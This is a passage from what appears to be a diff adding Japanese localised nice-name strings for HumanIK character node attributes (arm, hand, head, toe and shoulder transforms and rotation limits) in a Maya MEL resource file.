+setAttrNiceNameResource( "HIKCharacterNode", "LeftHandSy", "左手 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandSz", "左手 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateOrder", "左手の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxis", "左手の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxisx", "左手の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxisy", "左手の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandRotateAxisz", "左手の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrient", "左手のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrientx", "左手のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrienty", "左手のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandJointOrientz", "左手のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimit", "左手の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitx", "左手の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimity", "左手の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitz", "左手の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimit", "左手の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitx", "左手の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimity", "左手の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitz", "左手の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitEnablex", "左手の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitEnabley", "左手の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMinRLimitEnablez", "左手の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitEnablex", "左手の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitEnabley", "左手の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMaxRLimitEnablez", "左手の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArm", "右腕" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmT", "右腕 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmTx", "右腕 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmTy", "右腕 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmTz", "右腕 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmR", "右腕 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRx", "右腕 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRy", "右腕 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRz", "右腕 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmS", "右腕 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmSx", "右腕 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmSy", "右腕 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmSz", "右腕 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateOrder", "右腕の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxis", "右腕の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxisx", "右腕の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxisy", "右腕の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmRotateAxisz", "右腕の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrient", "右腕のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrientx", "右腕のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrienty", "右腕のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmJointOrientz", "右腕のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimit", "右腕の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitx", "右腕の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimity", "右腕の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitz", "右腕の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimit", "右腕の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitx", "右腕の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimity", "右腕の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitz", "右腕の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitEnablex", "右腕の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitEnabley", "右腕の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMinRLimitEnablez", "右腕の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitEnablex", "右腕の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitEnabley", "右腕の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightArmMaxRLimitEnablez", "右腕の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArm", "右前腕" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmT", "右前腕 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmTx", "右前腕 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmTy", "右前腕 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmTz", "右前腕 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmR", "右前腕 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRx", "右前腕 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRy", "右前腕 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRz", "右前腕 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmS", "右前腕 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmSx", "右前腕 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmSy", "右前腕 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmSz", "右前腕 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateOrder", "右前腕の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxis", "右前腕の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxisx", "右前腕の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxisy", "右前腕の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmRotateAxisz", "右前腕の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrient", "右前腕のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrientx", "右前腕のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrienty", "右前腕のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmJointOrientz", "右前腕のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimit", "右前腕の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitx", "右前腕の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimity", "右前腕の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitz", "右前腕の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimit", "右前腕の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitx", "右前腕の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimity", "右前腕の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitz", "右前腕の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitEnablex", "右前腕の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitEnabley", "右前腕の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMinRLimitEnablez", "右前腕の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitEnablex", "右前腕の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitEnabley", "右前腕の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightForeArmMaxRLimitEnablez", "右前腕の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHand", "右手" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandT", "右手 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandTx", "右手 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandTy", "右手 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandTz", "右手 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandR", "右手 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRx", "右手 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRy", "右手 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRz", "右手 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandS", "右手 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandSx", "右手 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandSy", "右手 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandSz", "右手 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateOrder", "右手の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxis", "右手の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxisx", "右手の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxisy", "右手の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandRotateAxisz", "右手の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrient", "右手のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrientx", "右手のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrienty", "右手のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandJointOrientz", "右手のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimit", "右手の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitx", "右手の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimity", "右手の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitz", "右手の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimit", "右手の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitx", "右手の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimity", "右手の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitz", "右手の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitEnablex", "右手の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitEnabley", "右手の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMinRLimitEnablez", "右手の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitEnablex", "右手の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitEnabley", "右手の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightHandMaxRLimitEnablez", "右手の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "Head", "頭部" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadT", "頭部 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadTx", "頭部 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadTy", "頭部 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadTz", "頭部 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadR", "頭部 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRx", "頭部 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRy", "頭部 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRz", "頭部 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadS", "頭部 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadSx", "頭部 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadSy", "頭部 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadSz", "頭部 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateOrder", "頭部の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxis", "頭部の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxisx", "頭部の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxisy", "頭部の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadRotateAxisz", "頭部の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrient", "頭部のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrientx", "頭部のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrienty", "頭部のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadJointOrientz", "頭部のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimit", "頭部の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitx", "頭部の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimity", "頭部の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitz", "頭部の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimit", "頭部の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitx", "頭部の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimity", "頭部の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitz", "頭部の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitEnablex", "頭部の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitEnabley", "頭部の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMinRLimitEnablez", "頭部の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitEnablex", "頭部の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitEnabley", "頭部の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "HeadMaxRLimitEnablez", "頭部の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBase", "左足指のベース" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseT", "左足指のベース T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseTx", "左足指のベース Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseTy", "左足指のベース Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseTz", "左足指のベース Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseR", "左足指のベース R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRx", "左足指のベース Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRy", "左足指のベース Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRz", "左足指のベース Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseS", "左足指のベース S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseSx", "左足指のベース Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseSy", "左足指のベース Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseSz", "左足指のベース Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateOrder", "左足指のベースの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxis", "左足指のベースの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxisx", "左足指のベースの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxisy", "左足指のベースの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseRotateAxisz", "左足指のベースの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrient", "左足指のベースのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrientx", "左足指のベースのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrienty", "左足指のベースのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseJointOrientz", "左足指のベースのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimit", "左足指のベースの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitx", "左足指のベースの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimity", "左足指のベースの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitz", "左足指のベースの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimit", "左足指のベースの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitx", "左足指のベースの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimity", "左足指のベースの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitz", "左足指のベースの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitEnablex", "左足指のベースの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitEnabley", "左足指のベースの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMinRLimitEnablez", "左足指のベースの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitEnablex", "左足指のベースの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitEnabley", "左足指のベースの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftToeBaseMaxRLimitEnablez", "左足指のベースの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBase", "右足指のベース" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseT", "右足指のベース T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseTx", "右足指のベース Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseTy", "右足指のベース Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseTz", "右足指のベース Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseR", "右足指のベース R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRx", "右足指のベース Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRy", "右足指のベース Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRz", "右足指のベース Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseS", "右足指のベース S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseSx", "右足指のベース Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseSy", "右足指のベース Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseSz", "右足指のベース Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateOrder", "右足指のベースの回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxis", "右足指のベースの回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxisx", "右足指のベースの回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxisy", "右足指のベースの回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseRotateAxisz", "右足指のベースの回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrient", "右足指のベースのジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrientx", "右足指のベースのジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrienty", "右足指のベースのジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseJointOrientz", "右足指のベースのジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimit", "右足指のベースの最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitx", "右足指のベースの最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimity", "右足指のベースの最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitz", "右足指のベースの最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimit", "右足指のベースの最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitx", "右足指のベースの最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimity", "右足指のベースの最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitz", "右足指のベースの最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitEnablex", "右足指のベースの最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitEnabley", "右足指のベースの最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMinRLimitEnablez", "右足指のベースの最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitEnablex", "右足指のベースの最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitEnabley", "右足指のベースの最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightToeBaseMaxRLimitEnablez", "右足指のベースの最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulder", "左肩" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderT", "左肩 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderTx", "左肩 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderTy", "左肩 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderTz", "左肩 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderR", "左肩 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRx", "左肩 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRy", "左肩 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRz", "左肩 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderS", "左肩 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderSx", "左肩 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderSy", "左肩 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderSz", "左肩 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateOrder", "左肩の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxis", "左肩の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxisx", "左肩の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxisy", "左肩の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderRotateAxisz", "左肩の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrient", "左肩のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrientx", "左肩のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrienty", "左肩のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderJointOrientz", "左肩のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimit", "左肩の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitx", "左肩の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimity", "左肩の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitz", "左肩の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimit", "左肩の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitx", "左肩の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimity", "左肩の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitz", "左肩の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitEnablex", "左肩の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitEnabley", "左肩の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMinRLimitEnablez", "左肩の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitEnablex", "左肩の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitEnabley", "左肩の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftShoulderMaxRLimitEnablez", "左肩の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulder", "右肩" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderT", "右肩 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderTx", "右肩 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderTy", "右肩 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderTz", "右肩 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderR", "右肩 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRx", "右肩 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRy", "右肩 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRz", "右肩 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderS", "右肩 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderSx", "右肩 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderSy", "右肩 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderSz", "右肩 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateOrder", "右肩の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateAxis", "右肩の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateAxisx", "右肩の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "RightShoulderRotateAxisy", "右肩の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", 